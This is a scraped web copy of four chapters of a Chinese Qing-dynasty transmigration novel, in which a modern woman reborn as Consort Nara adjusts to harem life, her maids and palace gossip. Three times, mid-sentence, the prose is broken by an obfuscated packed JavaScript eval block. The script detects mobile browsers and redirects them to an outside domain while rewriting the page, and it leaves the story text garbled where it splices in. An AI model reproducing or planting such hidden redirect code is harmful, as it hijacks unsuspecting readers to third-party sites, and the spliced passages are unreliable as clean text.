《惠妃不想养崽(清穿)》 1. 那拉庶妃 康熙十六年二月初二,本是龙抬头的好日子,但连着下了几日大雪,京城不少地方遭了雪灾,紫禁城内年久失修的偏远宫殿也坍塌了一些。 如今后宫是钮祜禄妃在管着,这几日更是忙得脚不沾地,一边安排内务府调配人力物力修缮宫殿,一边还要将小选的名册过一遍检查有无缺漏,听到宫女来报那拉庶妃病情好转时,也只是打发宫女送去了一些滋补药材,然后又一头扎进了数不清的宫务中。 云筠倒是觉得这样的安排挺好的。 她现在一点也不想见到其她人并且进行虚伪的人情往来。 感觉身体恢复了一些,绵延不断的头疼也好了不少,云筠静静地盯着顶上的蓝绸缎藤萝幔帐,开始思考人生。 刚醒来的时候她还以为医院研究出了什么高科技,胃癌晚期也能救回来了。 后来看到古色古香的帐幔和胡子花白正在给她把脉的老爷子,还有站在一旁眼眶通红穿着淡蓝色棉袍的少女,她心里只有一个想法。 穿越了。 而且是穿越到了古代。 她的心情那是五味杂陈,悲喜交加。 能够再次拥有生命自然是高兴的,上辈子胃癌晚期形销骨立,活得十分痛苦时她也没有放弃化疗。 悲的也很明确,穿越到了古代,她这辈子估计也就这样了,好一点就是嫁出去当正妻或者小妾,照顾丈夫和孩子的饮食起居,没有天灾人祸,平平淡淡地过完一生。差一点就更简单了,古代不拿人命当回事,万一哪天家族犯了事,一家子就整整齐齐菜市口见了。 不过后者看来是不太可能了。 躺了三天,断断续续接收完记忆,了解了朝代和原主的身份之后,云筠觉得,老天还是眷顾她的。 原主叫乌拉那拉·云筠,康熙的后妃之一,历史上九龙夺嫡中大阿哥的生母,康熙后期后宫的四大天王之一惠妃,现在的那拉庶妃。 哦,是清穿啊。 那没事儿了。 清朝早就被穿成筛子了。 得益于上辈子的清宫剧数不胜数,层出不穷,云筠竟然还感觉到了一种诡异的安全感。 这辈子她终于不用再卷了。 不出意外的话,她这辈子就算一直啃儿子也能啃几十年。 看在大阿哥的份上,至少一宫主位是跑不了的。 反正这一世她只想躺着享受,多活一天都是她赚了。 北京一环的房子,衣食住行全包,一天上班不超过两个时辰,其余时间在家里自由摸鱼,不用再赶着出差,不用再熬夜苦想策划案,不用再应付难缠又喜欢变卦的甲方。 要知道,她上辈子的胃癌就是长期饮食不规律,又熬夜加班压力太大,天天睡前吃加了各种添加剂的外卖造成的。 现在嘛。 天呐。 终于轮到她幸福了。 畅想着未来的咸鱼生活,云筠笑出声,奈何身体还没有痊愈,笑声转为一阵咳嗽。 “小主醒啦。” 一道声音由远及近,蓝绸缎藤萝幔帐被挂钩挂起,一张红彤彤又带着喜意的圆脸出现,说话也带着一股子甜味儿。 “茯苓姐姐在耳房煎药,太医说主子这次病情凶险,需要好好养一养,奴婢也熬了一些对嗓子好的冰糖炖雪梨,小主可要现在用一些?” 听着熟悉的声音,云筠想起了这个宫女的名字,灵芝。 如今宫里大大小小的妃嫔有十几二十个,但真正有一点地位的,就那么几位。 后宫的位分沿袭顺治帝时期,大致可以分为福晋,大格格,小福晋,格格。当今对于位分的升降有严格把控,后位空悬,除去钮祜禄氏和佟氏两名妃位是福晋级,后宫满打满算也不过四位小福晋级的妃嫔,生育过一女的董佳庶妃,育有四子一女如今还怀着孕的马佳庶妃,育有两子的原主,除了居住在咸福宫的博尔济吉特庶妃,其余三位均因有子晋封。 作为小福晋级别的妃嫔,云筠身边可以有四个宫女伺候。 茯苓是原主侍寝成为格格之后内务府拨过来的宫女,性格稳重,行事妥帖,更是熟读宫规,凭能力从普普通通的三等宫女升到了如今贴身宫女的位置。 灵芝则是原主成为小福晋之后家里使关系送来的,性格有一点大大咧咧,但是大事上从未出过缺漏,对原主忠心耿耿,她们两个也算是原主在宫里的左右手了。 躺了这么些天,云筠感觉身体乏得很,抬手掀开锦被道:“扶我起来走走吧。” 灵芝手脚麻利地摆好软底绸鞋,又拿了一件湖色缎绣菊花纹大氅和手炉脚炉,将云筠小心搀扶起来的同时又把她裹得严严实实,力求不让自家小主感到一丝寒冷。 屋内的炭盆也烧得正旺。 按照原主的份例,炭盆一直烧下去是不够的,估计茯苓使银子从内务府买了一些。 这次生病也吓坏了她们。 古代的医疗技术本来就不太好,一场风寒可以轻而易举夺走一个人的性命,想要活着最好的办法就是不生病。 原主这次的病来得实在凶猛,高烧不退好几日,一向言辞保守的太医差点都下决断说活不了了,虽然最后出现了奇迹,但是原主是真的没了,现在活下来的是她,一个和原主同名同姓的现代人。 但在灵芝和茯苓眼里就是自家小主过了鬼门关,一定要好好养着,人活着才是最要紧的。 被灵芝搀扶着在屋内走了几圈,云筠感觉身体有些微微出汗。 到底还是太虚了。 坐上暖炕,冰糖炖雪梨刚好被放置到了入口适宜的温度,云筠用勺子喝了一口。 正好,不太甜。 云筠一边吃着,一边听灵芝絮絮叨叨地说这几日的事情。 “钮祜禄妃娘娘派人送来了一些上好的燕窝和党参,当时小主正睡着,奴婢便替小主谢了赏,将这些药材登记入了库,方便小主取用。” “小主为五阿哥绣的小衣奴婢已经用香熏过,仔仔细细地收起来了,鹦哥这些时日长胖了不少,开春之后需要少喂一些吃食,小佛堂的供果奴婢每日都更换着······” 原主的两个孩子,皇三子承庆早夭,皇五子保清如今养在宫外,虽然名义上是皇五子,但在前面四个哥哥都夭折的情况下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315761|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就是实际上的皇长子。 此次生病也是因为这件事。 五阿哥保清养在宫外,虽有消息传来说他身体健康,但原主自从满月之后就从未见过他一面,再加上如今五阿哥虚岁也快要六岁了,到了进上书房读书的年纪,但皇上那里一直忙着三藩的事情,已经多日不进后宫,对此也没有个准话。 虽知道皇上不至于将自己孩子彻底忘在宫外,但养在宫外不曾见过的孩子又能让皇上有多少父子情谊呢? 说后悔倒是不至于,当初送五阿哥出宫她也是同意了的。 只是关心则乱,一旦起了头,思绪就不可控制地滑到了最糟糕的可能,越想越忧愁,病倒了。 至于小佛堂,有一部分是上行下效。 如今太皇太后和皇太后都爱礼佛,慈宁宫和寿康宫里都供着特地请大师开过光的佛像。 后宫里的两座大山喜欢礼佛,后宫里的妃嫔自然也有模有样地学着,有条件的就空出一间耳房当小佛堂,没条件的也在屋里供奉了一尊,时不时抄些佛经以示虔诚。 毕竟万一哪天因为礼佛礼得好就入了皇太后和太皇太后的眼了,这事也说不准嘛。 原主的佛堂很大一部分是给早夭的承庆设的。 想起记忆里那个刚会喊额娘的孩子,云筠感觉心口绞紧,悲伤的情绪绵延不绝。 她轻声道:“给小佛堂供一卷往生经吧。” 灵芝知道自家小主想起了承庆阿哥,此时恨不得给自己的嘴巴两巴掌。 小主本来就大病初愈,身体不太好,自己又白白惹小主伤心,这不是徒伤小主心神嘛? 她可听茯苓姐姐说了,这几日要好好哄着小主,不让小主劳心劳力的。 灵芝紧急转动脑筋,终于想了个话题,“小主喝了几日白粥,想必口中寡淡得很,奴婢问过太医了,可以用一些清淡的吃食,小主可有什么想吃的?” 清朝这方面有些不人道,认为生病的人应该少膳食,先饿几顿,或者只吃白粥。 万幸延禧宫如今没有主位,钮祜禄妃也没有那个空闲来管这些小事,不然一病,送来的膳食只有白粥,估计她没有被病死也被饿死了。 清朝一天只有两顿饭,早膳一般在早上六点到八点,晚膳在中午十二点到下午两点,这两顿是正餐,其余时间也有点心、果品等供应,当然,一般都是点份例之内的东西。 按照云筠如今的小福晋份例,每日可以有猪肉六斤,陈粳米一升二合,鲜菜六斤,白面二斤,白糖二两,香油三两五钱,豆腐一斤八两,粉锅渣八两,甜酱六两,醋二两,茄子六个,王瓜六条,每月有羊肉十五盘,鸡鸭共八只。* 而且这还是连着伺候她的人一起的。 若是想吃些份例外的吃食,要么有宠有地位,膳房自会上心有孝敬,不然,就乖乖使银子吧。 想着记忆里膳房那些五花八门的吃食,云筠打起精神,一时间对未来充满了期待。 她从记忆力挑挑拣拣了几样常吃的菜:“既然太医说了要清淡,就要山药南瓜小米粥,清蒸鲈鱼,白灼菜心,攒丝鸽蛋和燕窝溜鸭条。” 2. 那拉庶妃 比膳食来得更快的是中药。 茯苓熄了炉子,将熬好的药汁过滤出来盛在碗里,用白纱将药渣包好。 想着小主爱吃甜,思索片刻,又从密封好的罐子里装了一碟粽子糖,这才出了耳房。 身为贴身宫女,这些琐事原本不该是茯苓做的,但是她实在是放心不下,这入口的药材还是她盯着比较好。 天空中细细地飘着雪花。 茯苓和端着中药的宫女走在廊下,在进屋前,茯苓仔细嘱咐着,“进了堂屋先在熏笼旁去去寒,不要将寒气带给了小主。” 如今她们住的地方是延禧宫东偏殿,面阔三间,左右各有耳房一间,靠东里间的耳房拿来做了小佛堂,西边的耳房则是放了一些杂物和炉子之类的东西,平日若想自己煮一点东西,一般都在西耳房。 堂屋一般是拿来待客和用膳的,东里间是起居室,西里间用作书房,也是平日里刺绣、看书的地方。 待到身上的寒意去得差不多了,茯苓绕过落地花罩掀帘进里间,行了一礼,“太医说小主需要好好静养,每日都会来请平安脉,现在这药先吃几贴,等小主好全了再开一些滋补养神的药用着。” 前些日子病得昏昏沉沉,这是云筠第一次和茯苓面对面交流。 相对于原主记忆,眼前的茯苓看起来更憔悴一些,她是瓜子脸,因为皮肤白皙导致她眼下的青黑格外明显,人看起来有些憔悴。 灵芝是一心一意守着她照顾,茯苓则是在她生病的这段时间安排好身边的一切,包括请太医,禀报敬事府和钮祜禄妃,管理上下里外,来往迎客的一切事务,相当于总管。 还得担心她的病情。 也挺不容易的。 云筠对这种管理型人才非常看好。 从茯苓手中接过中药,轻轻抿了一口,苦涩的味道瞬间在舌尖蔓延开来,不过她这几日喝中药已经喝得快要味觉麻木了。 刚有意识那会儿,她不能自主吞咽,药汁是灵芝她们一勺一勺灌下去的,那苦味才叫延绵不绝。 皱着眉头将药汁一饮而尽,茯苓连忙递上温热的白水,“小主,漱漱口。” —— “小主身体无恙。” 胡子花白的老太医慢悠悠地把脉,又沉思了一会儿,在云筠期盼的眼神中简明地说出了结果。 茯苓知道这些太医的脾性,说话稳妥,只要请了太医,就算没病他们也能给出什么气血不足、心神不宁的诊断,再开出几贴安神药,总之就是请了太医就是有病,毕竟没病请什么太医。 此刻说小主身体无恙,说明小主真的好全乎了。 茯苓几乎要落下泪来。 这些时日,不仅灵芝害怕,她心里也像揣了一窝兔子似的七上八下,夜不安枕。 那滋味只有自己知道。 一来小主已经病倒了,她就是宫女里面的主心骨,就算心里再害怕也不能表现出来,还要面上镇定自若,安抚好其余人,不让她们自乱阵脚。 二来一荣俱荣一损俱损,若是小主真的出了什么事,她们也落不着好。 好一点儿的被遣返内务府,以后只能做些浆洗衣服的粗活儿,差一点儿就是慎刑司走一遭,能不能保住这条命还是两说。 好在皇天菩萨保佑,小主无事。 茯苓在心里默默将满天神佛谢了个遍。 并且决定打理小佛堂的时候多上一些香火。 - 这场病前前后后一共折腾了大半个月。 在太医宣布她身体好全之后,灵芝和茯苓几乎是肉眼可见的高兴。 但是现在还有一件非常重要的事情。 那就是销假。 在生病的第一时间,茯苓带着牌子去请了太医,也安排了宫女去敬事房和钮祜禄妃处告假,将云筠的绿头牌撤下来。 这不是出于你都生病了,就不用工作了的人道主义想法。 应该说。 生病了,就应该离皇上远一点,万一把皇上传染了怎么办,这谁能担当得起。 在宫里,生病隐而不报是会受处罚的。 之前因为正在病中,撤了绿头牌,钮祜禄妃那边也派了人过来让她好好养病,免了请安。 如今后宫没有皇后,钮祜禄妃虽然掌着宫权,但到底名不正言不顺,没有满宫妃嫔向她请安的规矩。 只是在她之上还有皇太后和太皇太后。 两位都出身于蒙古,相较于太皇太后满蒙汉语精通,皇太后只会说些蒙语,所以她一向不爱和妃嫔说话,在寿康宫过着自己的小日子。 太皇太后喜静,也不爱妃嫔过多去打扰,后宫如今是五日一请安的规矩,算一算,她还有两天的悠闲日子可以过,然后就要踏上后宫这个没有硝烟的战场。 不过,她现在不出门,不代表没有人来找她。 宫中妃嫔虽多,但空着的宫殿也不少。 如今延禧宫就住着两位妃嫔,一个是云筠,另一位就是纳喇庶妃。 宫里目前对妃嫔的职级称呼有些混乱,只有钮祜禄妃与佟妃被称为妃、娘娘,其余妃嫔不论是小福晋还是格格,都是用庶妃称呼。 后宫等级森严,级别没有达到那个地步,几名庶妃挤在一个院子里也是常事,据说乾清宫后围房里的官女子们还有两人挤在一间房内的,这待遇和做宫女时也没有什么差别,还平白多出了一项工作。 云筠是小福晋级,自然可以独享一殿,延禧宫主殿够不着,偏殿还是可以的。 纳喇庶妃则是膝下有一个阿哥,内务府行了方便,虽然是在后殿,但如今后殿也只有她一个妃嫔居住,也算独居一处了。 延禧宫只有她们两个妃嫔,又都有孩子,纳喇庶妃便时不时过来串门聊些八卦,这样下来,倒也算是有了几分塑料姐妹情。 “你身体可算是好了,这些时日没个人同我说话,我心里实在憋得慌。” 纳喇庶妃是个风风火火的性子,还未进门,云筠就听到了她亲近的抱怨。 互相见过礼,云筠仔细打量起这位以后的‘同事’。 她是个长相婉约的美人,瓜子脸线条流畅,一双眉眼生得极好,似春风里随风摇摆的柳叶,让人想起江南风情。 虽然她一开口就破坏了身上的文静气质。 纳喇庶妃毫不见外地坐在暖炕上,跟在她身边的宫女将带来的云锦交给灵芝。 “这是年初时钮祜禄妃给的赏赐,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315762|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也知道,我不爱这些颜色,你穿着倒是正好。听说内务府那边新得了些江南的式样,你送去给绣娘,让她们好好做一身,穿着也鲜亮。” 似乎真的是憋的狠了,纳喇庶妃说话连珠炮似的,噼里啪啦就是一串。 “虽然这次皇上免了大选,只让内务府举办小选,但是我可听宫里都在传,此次小选后宫肯定是要进人的,大家都憋着劲呢,你也打扮打扮,别让其她人小瞧了去。” 一般来说,每三年一次的大选是正儿八经选妃嫔,一年一次的小选则是选的宫女。 但是从宫女变为妃嫔也不少。 比如她和纳喇庶妃,都是内务府包衣,先当了宫女,后来才侍寝成了嫔妃。 如今皇上子嗣不丰,还活着的皇子更是一只手都数得过来。 虽然已经册封了太子,可是眼下人们讲究多子多福,总归孩子是不嫌少的。 云筠也没有推辞,道谢之后让灵芝将云锦收起,笑着说道:“改日我就送到绣娘那去,正好可以做一身单袍。” 她把后宫妃嫔当做同事相处,钮祜禄妃是管理层,皇太后和太皇太后是董事。 同事之间你来我往方便维护职场情谊嘛。 —— 天色未亮,茯苓估摸着时间将灵芝唤醒。 作为一等宫女,她不必去挤大通铺,而是同灵芝一起住在东围房的一个小房间里。 房间布置很简单,两人的床铺,一个直立的红木大衣柜和两个抽屉小柜,还有一个简单的梳妆台。 点燃烛火,茯苓用冷水洗了脸,彻底清醒过来。 其余房间也传来了响动,她们要在小主起来之前换装洗漱好,小太监把室外的雪清扫干净,宫女们则是为小主准备好热水和洗漱工具。 茯苓一边对着镜子将头发编成长辫挽起,一边问道,“小主昨晚说今早想吃蛋饺和八宝粥,可安排下去了?” 一般来说,早膳是在请安之后各自回宫用。 但是她们也不会饿着肚子去请安,毕竟从自己住处走到慈宁宫还是非常耗费体力的。 膳房也会在早上准备好各色膳食。 主要以包粥面点为主,种类多样,还有各类小菜。 “茯苓姐姐放心,昨晚睡之前我就告诉了小福子,他腿脚快,又同膳房的小德子是同乡,小主的口味他也是知道的。” 太监是跟着宫殿走的,如今延禧宫就云筠位分最高,太监又不像宫女那样能贴身伺候,想要争表现的小太监使尽了脑筋。 只有小福子头脑机灵,又是大太监的干儿子,才得了这个提膳的机会。 灵芝弯腰将铺盖折叠好,见茯苓什么也没有抹,从旁边的小柜子里摸了一罐香膏。 “你用我这个试试,今天外面风大,别给脸吹皲了。” 见茯苓有些迟疑。 灵芝直接挖了一勺抹上茯苓手背,“你放心,这个没有香味,我试过的。” 宫女伺候主子时身上是不能抹脂粉,也不能有任何气味的,大部分时间她们都是穿着直筒筒的蓝色或者棕色袍服,素面朝天,只有很少的时候有机会打扮。 两人收拾整齐,同守夜宫女做了交换,开始叫自家小主起床。 3. 那拉庶妃 被茯苓叫起时云筠脑袋还有一些懵。 养成一个好习惯需要很长一段时间,但是堕落却只需要短短几天。 连着睡了大半个月的懒觉,云筠已经忘记了早起的滋味。 但是她也不得不起,请安是宫里的规矩,如今她身体好了,早起是逃避不了了,就像高中生免不了早自习,大学生免不了早八。 里间的炭火尚有余温,云筠只穿了一件单衣也不觉得冷。 宫女已经将热水和软巾备好,将双手侵入铜盆,感受着热水在指尖流动,云筠眼神清醒了些。 用热水洗漱完毕,云筠坐在梳妆镜前,任由灵芝为她梳妆打扮。 梳妆台上的镜子原本是铜镜,但去年福建巡抚端午节进贡了些西洋镜,皇上全部赏赐给了后宫,两位妃位和四位小福晋正好一人分得了一张,她的这个是掐丝珐琅的,颇为精致。 她这些时日在房间里养得好,整个人白里透红,只需简单描眉再抹一点口脂即可。 发饰也简单,她不喜欢太多的东西坠在头上,感觉头疼。 因此只是让灵芝简单地梳了个小两把头,插了一套翡翠簪和几只宝石珠花,看起来清新雅致又不会失了身份。 今早要穿的衣裳昨晚就已经备好挂起了,云筠张开双手,任由灵芝一层一层给她套上。 早点有云筠要的蛋饺和八宝粥,虽说她只说了这两样,但小福子不仅仅提了这两样,还有她平日里吃的三道粥和六碟小菜,和一些精致的面点。 膳房的八宝粥熬得质软香甜,小菜也颇为开胃,云筠不知不觉就用完了一小碗。 看了一眼旁边的西洋座钟,时辰已经不早了,她遗憾地放弃了再来一碗的想法。 戴上围脖手炉,披着斗篷,用了一顿满意的早点,云筠到达延禧宫正门时,纳喇庶妃已经等着了。 这种请安的事情,如果有主位的话一般是跟在主位后面,像她们这种目前没有主位妃嫔的,自己先走或是一道都可以。 纳喇庶妃今日也打扮得非常清丽,她本来就眉眼极好,这打扮更是放大了这份优势,再加上竹青色的衣服,看起来非常有江南女子的气息。 “你这件斗篷瞧着不错,翠纹织锦羽缎,是新做的吗?倒是衬你。” 两人一边走一边交谈。 云筠笑道:“是年前做的,想着正好冬日里穿,我那里还有一些上好的皮子,你若是喜欢,尽管派人来取。” “你这话我可就当真了,”纳喇庶妃笑容舒展,言语带些亲昵的呷促,“我也不和你客气,知道你家底丰,稍后我亲自来挑些好的,你可不许心疼。” 两人说说笑笑,到慈宁宫时不早也不算晚,已经有一些妃嫔在慈宁门前侯着,三三两两凑成一团,低声说着话。 云筠简单扫视了一下。 这里面的妃嫔大多她都认得,只是有些没有说过几句话,维持在我知道有这个人,能把名字和脸对上的地步。 在慈宁门前等了一会儿,重要的人物总是在最后出现,待到所有妃嫔几乎都到了,钮祜禄妃和佟妃这才姗姗来迟。 给太皇太后请安的这份‘殊荣’也不是谁都有的。 只有小福晋及以上的妃嫔才有资格进入慈宁宫,其余妃嫔只能在慈宁门口磕个头,连太皇太后的面都见不着,只能在宫外站着等她们出来。 慈宁宫是个格外规矩的地方。 这是云筠的第一感受。 她老老实实跟在佟妃身后,屏息敛目。 入了慈宁宫内,一个穿着打扮一丝不苟,面色严肃的嬷嬷引着她们落座。 有小宫女轻手轻脚地上了茶水点心,又悄无声息地退了下去。 钮祜禄妃和佟妃一左一右地坐着,她们这些小福晋则是分为东西两宫站在她们身后,只有马佳庶妃眼下怀孕即将临盆,又是雪天路滑,因此免了她的请安。 如今站在佟妃身后的只有云筠。 是的,虽然她们有了进慈宁宫向太皇太后请安的‘殊荣’,眼下空着的座椅也不少,但是她们目前还没有那个资格坐下,只能老老实实站在妃位身后当一动不动的挂饰摆件。 这具身体已经习惯了穿花盆底,因此云筠站着倒也不觉得难受。 往好处想,这天寒地冻的,屋内至少有炭盆,她不觉得冷。 就当锻炼身体了。 - 佟妃与钮祜禄妃正在轻声交谈。 钮祜禄妃长相端庄典雅,面若银盘,说话时嘴角微微上扬,眼神温和,给人一种和蔼可亲之感,只是脸上的脂粉比较厚重,瞧着有些苍白。 两人交谈的话题也非常安全,没有想象中宫斗那般唇枪舌剑,暗中挖坑,只是说些衣服首饰,或是逸闻趣事。 都是说话好手啊。 声音压在一个能听清又不会吵闹的地步,说话更是轻声细语,即使是简单的珠宝首饰也能说出个一二三来。 云筠听得津津有味。 学到了学到了,说话真艺术。 待到太皇太后出来时,桌上的茶水已经过了两盏。 云筠也不能继续站在佟妃身后当壁花,与站在钮祜禄妃身后的博尔济吉特庶妃和董佳庶妃动作同步,踩着花盆底稳稳当当地走到中央,行礼齐声道:“太皇太后万福金安。” “免礼。” 钮祜禄妃和佟妃落座,开始请安必走流程。 先是钮祜禄妃关心了几句太皇太后的身体情况,太皇太后表示她身体很好,不必过多挂念,又是佟妃在一旁插科打诨说着俏皮话,夸赞太皇太后身体硬朗,一点也不像上了年纪的老人。 不管信没信,总之太皇太后脸上配合地露出了慈祥的笑容。 然后太皇太后对钮祜禄妃下发了最高指示。 “你的能力我是信得过的,前两年办事也好,只是此次内务府小选不仅是为了选宫女,也是为了充实后宫,绵延子嗣,皇帝忙着前朝的事,这后宫自然就要你多操劳。” 宫里本来只是小道消息流传,此次小选后宫要进人,但到底上面没给个确定话。 现在太皇太后这样说,就是后宫一定要进人了。 只是不知道会有几人。 钮祜禄妃本就没有坐实,如今听到这话站起来行了一礼,恭敬道:“臣妾岂敢居功,先前经验不足,多亏太皇太后指点臣妾才没有闹出笑话。此次小选的花名册臣妾一一对比过了,内务府也准备妥当,只等候皇上与太皇太后挑选即可。” 这话说得谦虚了。 钮祜禄妃与仁孝皇后当初都是皇后的热门人选,家里也是按照皇后来培养的,钮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315763|182986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祜禄家族与赫舍里家族都是大族,培养出来的女子样样出挑,只是棋差一招,赫舍里氏当上了皇后,钮祜禄氏成了妃嫔。 后来赫舍里氏康熙十三年难产而亡,成了仁孝皇后,钮祜禄妃在太皇太后的示意下掌了宫权。 或是存着一丝不想比仁孝皇后差的心思,钮祜禄妃事事亲力亲为,连皇上的宠爱都淡了许多。 她本来就是大族培养,这些年在后宫也不是白待的,管理后宫两年基本没有疏漏,行事规矩,赏罚分明,妃嫔信服,有能力也有手腕。 几乎就是板上钉钉的下一任皇后。 三人又说了些场面话,太皇太后上了年纪,精力有些不济,钮祜禄妃和佟妃非常有眼色地领着她们告退了。 整个过程,三个小福晋最大的作用就是当壁花,除了请安没有说过一句话。 - 妃嫔的一天其实很规律,如果有请安,就需得卯时起,点着烛火洗漱梳妆,有皇后在时先去皇后处请安,之后在皇后的带领下依次向皇太后、太皇太后请安。 请安完毕就各自回宫用早膳,这时差不多是早上九点到十一点,妃嫔们可以自由活动,也可以睡个回笼觉。 十一点半到下午两点半用晚膳,下午的时间可以自由支配,去别的妃嫔那里串门唠嗑,有才艺的妃嫔也可以画画读书弹琴写字陶冶情操,或者去御花园试一试能不能和皇上来个偶遇。 皇上会在用完晚膳之后翻绿头牌,被翻到妃嫔要准备好梳洗打扮,由敬事房派来的小太监领着去乾清宫,没有被翻到的妃嫔就可以洗洗睡了。 也没有什么夜生活,在后宫灯烛是份例的一部分,用完就没有了,宫门也会落锁,所以天黑就乖乖睡觉吧,不要期待着搞什么幺蛾子。 之后又是稳定重复的一天。 云筠对这样混吃混喝的生活很满意。 她也发展了一些爱好,其中一个就是刺绣。 或许是小孩的衣服鞋袜做多了的缘故,原主的刺绣手艺还算不错。 现在她绣着的,是一件平袖对襟外褂,按照五岁小孩的体量缝制的。 宫里的规矩,位分低的妃嫔不能将孩子养在膝下。 要么由高位妃嫔抚养,要么送到兆祥所统一抚养,没有例外。 不过鉴于宫里夭折了许多皇子,康熙痛定思痛后,原主所生的五阿哥被送出宫外由大臣抚养,太子养在了乾清宫,纳喇庶妃所生的九阿哥养在兆祥所。 五阿哥远在宫外,原主对其思念不已,时不时做些小孩的衣帽鞋袜。 只是宫规森严,原主做好的那些衣裳并不能送出宫去,也只能自己留着聊表纪念,由一个专用的箱笼好好收着。 云筠在穿越过来那会儿就接受了现实,既然用了原主的身体,那原主牵挂在意的就是她牵挂在意的。 原主心心念念的就是宫外的孩子。 早些年夭折了一个孩子,现在原主对五阿哥的希望就是他能平平安安地长大。 虽然她上辈子没有养过孩子,但是宫里有太监宫女在呢,阿哥出生之后也会配备有奶嬷嬷,用不着她多做些什么,养个孩子应该不算困难? 云筠稳稳地将针线穿过绣棚,思绪漫无边际。 对于五六岁的孩子,她自认为当个慈母还是没问题的。 4. 那拉庶妃 到了三月,宫里发生了几件不大不小的事。 先是马佳庶妃又诞下一子,后宫上下都送了贺礼。 后是内务府包衣小选,皇上一共选了四位,后宫多了四名庶妃,其中最引人注目的当属郭络罗庶妃。 对于前者,后宫妃嫔们虽然心里像是打翻了陈醋酸溜溜的,但也习惯了。 马佳庶妃在皇上与仁孝皇后大婚前便已入了宫,资历老道,这些年来一直圣宠不衰,先后为皇上诞下了五子一女,是后宫里的常青树,隐隐约约有妃位之下第一人的架势。 只是对于后者嘛。 后宫妃嫔就有的说道了。 —— “唉。” 纳喇庶妃将一口气叹出了曲折十八弯的幽怨意味。 “你说这郭络罗庶妃怎么就这么好福气呢?”纳喇庶妃支着下巴,内心五味杂陈。 宫里也不是没有郭络罗家的庶妃,只是之前那位在宫里活得像透明人似的,也不得宠,侍寝一次后就在宫里没了水花。 现在这位就不一样了,皇上的宠爱是看得见的,不论是如流水般送入翊坤宫的赏赐,还是一个月翻了五次的牌子,那可是前所未有的圣宠。 除去这些,郭络罗庶妃入宫后的待遇也是独一份的。 论家世,郭络罗庶妃来自盛京,是正黄旗包衣,小选入宫,比不得康熙十年经八旗选秀入宫的李庶妃。 论资历,郭络罗庶妃入宫不过一个月,比不得康熙四年就伺候皇上的王佳庶妃等人。 论子嗣,不论是曾育有两女的张庶妃,还是如今育有一子的纳喇庶妃与育有一女兆佳庶妃都不过是格格级。 可偏偏就郭络罗庶妃一入宫便是小福晋级的待遇,在什么都没有的情况下仅凭圣宠就压在了她们头上。 这让庶妃们怎么能服气。 尤其是纳喇庶妃。 当今子嗣不丰,还活着的阿哥更是少之又少,加上刚出生的十阿哥,也仅有四位而已。 作为九阿哥的生母,纳喇庶妃心里自有一番傲气。 “若是别的也就罢了,可后宫里的庶妃们,谁不是慢慢熬上去的,刚入宫时给高位妃嫔端茶倒水,冬日里跪在雪地里听训,怀九阿哥时吐得连水都喝不下,也没敢跟皇上抱怨一句。” “偏偏她郭络罗氏,什么苦都没吃,就把好事占全了——独居翊坤宫,小福晋的份例,流水似的赏赐,连皇上翻牌子的次数都比旁人多。这宫里的规矩,到她这儿就不管用了?” “你是不知道,昨儿我身边的宫女路过翊坤宫,那内务府的太监们捧着锦盒往里送,热闹得跟过节似的。” 如果有什么能形容纳喇庶妃现在的心情,那就像是生吃了一整颗柠檬,酸气从牙齿直冲天灵盖。 酸啊。 怎么能不酸呢。 她入宫至今也有六年了,如今还有一位皇子傍身,可也不过是普通的格格级,连翊坤宫的边儿都挨不着,份例里的银钱还要算计着花。 这后宫里有后台的受宠的妃嫔多了去了,怎么就不能再多一个她呢? 她不过是想凭着儿子,多争几分体面,多讨几分皇上的关注,怎么就这么难? 越想越觉得自己可怜,纳喇庶妃几乎要落下泪来。 她可真的是太苦了。 黄连都没有她苦。 面对每日保留节目,云筠的态度是——继续磕瓜子。 不得不说,这膳房的瓜子味道就是好。 据说是用陈皮、甘草、砂仁等香料熬成淡卤汁浸泡瓜子半个时辰,再炒制,成品带着淡淡的药香和果香。 挺养生的。 在云筠的努力下,一碟瓜子成功少了大半。 对这些纷纷扰扰,云筠的态度一直都是旁观当哑巴。 她前世也不是没有吃过这方面的亏。 同事在她面前吐槽另一位同事,她傻乎乎地跟着附和,后面才知道,这位同事在另一位同事面前也是这么吐槽她的,还将她附和的话删删改改和另一位同事拉距离。 从那之后她就明白了。 塑料同事情。 见面打个招呼,再寒暄几句就可以了,没必要多说什么。 尤其在一根草都会说话的后宫,她还是谨慎为好。 今天跟你掏心掏肺说委屈,明天就能把你的话当筹码去讨好别人;今天跟你一起吐槽旁人,明天就能为了位份把你卖了。 与其掺和这些是非,不如嗑瓜子,安安稳稳地守着自己的小日子。 至于纳喇庶妃说的这些。 当个乐子听过就得了,谁当真谁傻子。 